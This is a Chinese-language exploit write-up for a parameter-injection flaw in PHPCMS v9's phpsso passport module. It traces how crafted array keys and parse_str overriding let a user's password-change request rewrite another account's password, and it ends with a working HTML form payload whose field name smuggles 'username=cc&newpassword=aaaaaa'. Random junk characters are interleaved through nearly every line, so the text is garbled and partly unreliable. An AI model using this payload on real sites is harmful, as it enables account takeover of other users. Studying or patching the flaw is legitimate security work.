提到的通行证的代码:
, }- C: [& l& U1 _! [1 q; D1 F2 B2 _, v4 G
! j- J6 ?5 u3 o7 Oparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);9 v& T* C1 s" ]9 x+ J
/ b# b/ b7 L: A8 T: M
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
' J7 r( T; f0 ^+ d d. D/ Z% s: f, L5 }2 R* z7 F9 {* G
我把它留给了你们。
; k0 |3 k: }* q; V2 F不知道你们发现了它没有。4 k( m+ D6 v X1 I0 M& F
! c# t8 @' V9 v" ~4 i/ j
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
! [% Q7 I/ e" u3 o
3 ^% H# ^+ ?8 Q所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
* e- W: W% V/ k c! {) L( l1 k
: o% Y0 H( E4 O也就是
/ o3 N( f) \. g; R5 e3 M5 ?! O) x7 t
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
4 v6 }* t, g* D- P2 W8 A9 C# a, z7 D" `( s; p* f; x& B: s; B/ d
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
7 d) ?) x9 D* ~. ]2 \8 V, v& O0 O) j3 J/ @' G7 h
& Y1 i, A2 @$ f
其实我们有这样的机会,看看代码,如下:2 M2 a x+ R+ c4 b0 W% d
* r, V' s) r# G3 C% H2 B# M7 T- o1 p1 U* P
public function auth_data($data) {& k( q. W7 R9 D" B3 m
$s = $sep = '';9 e+ E+ s' {8 Q/ p f* O% i2 e3 V
foreach($data as $k => $v) {2 a# c$ B/ f/ j- U" \/ I g
if(is_array($v)) {
F# w: _: C4 { $s2 = $sep2 = '';$ ~( X( f/ Z( ` g( i
foreach($v as $k2 => $v2) {
4 C/ u7 p' q/ \5 d% Q$ |- m0 ` $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
+ a* Z+ P9 B, k) x: \6 u: C $sep2 = '&';1 _& f9 I/ ?% Q7 p6 Y* ?
}( l9 P( C3 n E# F
$s .= $sep.$s2;
9 G2 x& T% n5 a( D) M } else {5 J; @% S% K' v
$s .= "$sep$k=".$this->_ps_stripslashes($v);! [" K/ ~; g8 W# G8 e
}
2 P1 @" w$ N9 h3 g* @ $sep = '&';
* d7 W3 E$ \* J3 \) N }
& I. I4 s% m$ v: y5 D8 |
( r2 F! g* }' d' U' v1 t $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));& C2 `- `) D2 x8 ^; @! I& D x* O+ d4 N
return $auth_s;
# `$ M5 S- F$ V; D4 V& i5 _ }7 a ? _8 m3 E6 d
5 X" W8 m+ B/ K- F* j
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
: a, i. N4 \2 J) A" T
& f0 t [3 \! i- m% ^5 c3 |举个例子
2 K! S; \! O& M2 c+ x8 ]7 w9 U' v+ ^" h% ~& F; G
$a[aaa=a&bbb] = 'a';
+ f* Q" J. ^$ o4 t
6 |0 K- @- A U: S会变成aaa=a&bbb=a
; y% A) K2 c1 s1 |" G6 K0 C. d* g5 T
! u2 z! b( F+ t明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
; F7 I2 \3 n( d; i2 v6 {; r
2 P3 S" h9 h. z3 \这个时候,我们可以再去看一个函数。 }/ S: O% _( t3 n0 q* D7 _
+ n. x7 C5 v; u: Y) y' E5 \0 ~就在这个文件内:
) p' W1 Z( i: \0 {8 G8 P* s1 s M r) t; A% V3 x: \# l9 }; Q1 n
8 _) W. I# ], S! p$ M- }1 y |
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
1 e8 s* [+ F& f+ h) Q; m6 }$ C if($email && !$this->_is_email($email)) { t# J9 r) H- P# S5 E
return -4;7 ^; R+ C( Q3 @6 E0 J ~5 g
}5 W" \( u4 V+ m( i" I1 _
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));2 _, n, m+ f8 T# D
}: b3 A; J- |: n- q4 Z8 J, m' D0 Q
+ D+ p) B r5 w7 D: b/ d这是向通行证发了这样一个请求。" ], J% d! F" d/ d3 O
2 t8 P5 x3 ]: Y1 V我们再跟到通信证代码里去看看,就会有所发现。
; Y1 W' S4 X9 |1 f8 @) R& T" D5 C9 q' P$ B5 C' t2 m
2 H4 O+ D# h, o2 D" B! | Ppublic function edit() {
+ M1 o% _, z; C) N8 ^//能省就省,太长了不是吗?6 V& @! N' Q- Y7 A
( v% D3 |: N) ^3 e) g# ^if($this->username) {0 R/ I; E( @/ T; W4 |3 I5 @8 @
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。- J7 Z j+ ^2 J: w- D4 S/ C, v# G0 z
$res = $this->db->update($data, array('username'=>$this->username));( R! x5 u0 {' k4 }% T
} else {- _2 G* ^- {+ h) h
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
: V7 i# a3 E( }3 u) d $res = $this->db->update($data, array('uid'=>$this->uid));
1 y# B; o1 K! G* }0 R }
$ b+ V% O+ Q( |) a7 [& R* a# d$ @ ~# X" V4 n
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:8 t0 | {: \, b: F2 i- B8 f5 [
4 `% p5 k: w5 ]7 r1 l% n1 x$ epublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')/ m; `/ N0 \) M: h5 ]4 G+ N z
+ S) k+ F! U3 B8 Q' c
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。8 W5 x+ P$ P, l- W
0 C" U% |: J s/ D* v$ e
我当然找到了:( M! r5 e! z' h! M$ `
phpcms9/phpcms/modules/member/index.php) u9 [( S! V8 t5 L) i' E
+ e# M$ ]# f+ D- D. h. _/ |* J; `- p
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);: t1 o# \% I& B* p
+ x5 T6 p1 H, D o4 }
然后就没有然后了。
) I6 `( v$ x0 ]% N6 Z8 Q7 a7 @2 c5 i
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">' s% w4 |5 m' O7 B0 m& i: N q6 F
<table width="100%" cellspacing="0" class="table_form">
; R( @- J3 F% J9 n9 m$ b5 o! G6 T <tr>
) ?& D$ o( A; M" T6 m2 T9 { <th width="80">邮箱:</th> P7 O& u, v* N$ i7 x
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
5 x. s* x1 } h5 P+ e4 p2 A </tr>
/ @; e! L! W3 B, l5 f0 E+ o1 M' S <tr>2 d- D& Q6 n# |7 L! |+ Z$ B
<th width="80">原密码:</th>
( L. i0 _5 ]6 \% f& b <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>% k5 T/ v& n! S, r. _9 Y9 y5 L
</tr>; T+ A) x- B1 S9 I4 ~/ g
<tr>$ |7 z, ]0 ^9 x' @# I3 e
<th>新密码:</th>
|9 R1 ~9 K b( \- p I( U <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
6 N6 Z* V+ |3 [3 }1 k- i </tr>' G8 c, `( J% B3 b0 ?) W
<th></th># O' G6 ~+ l) i
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>. Q1 g3 Q( z) ]; e# ~6 [0 ]
</tr>6 _$ ?; y' X/ Q7 ]2 h, F
</table>7 h) H/ T' N2 V$ B) P4 |$ [7 l' [8 @
$ `0 r {8 p- p
' T8 _/ D5 O# T$ @0 ]$ [: Z
</form>6 P4 A; D {4 @. z1 r
|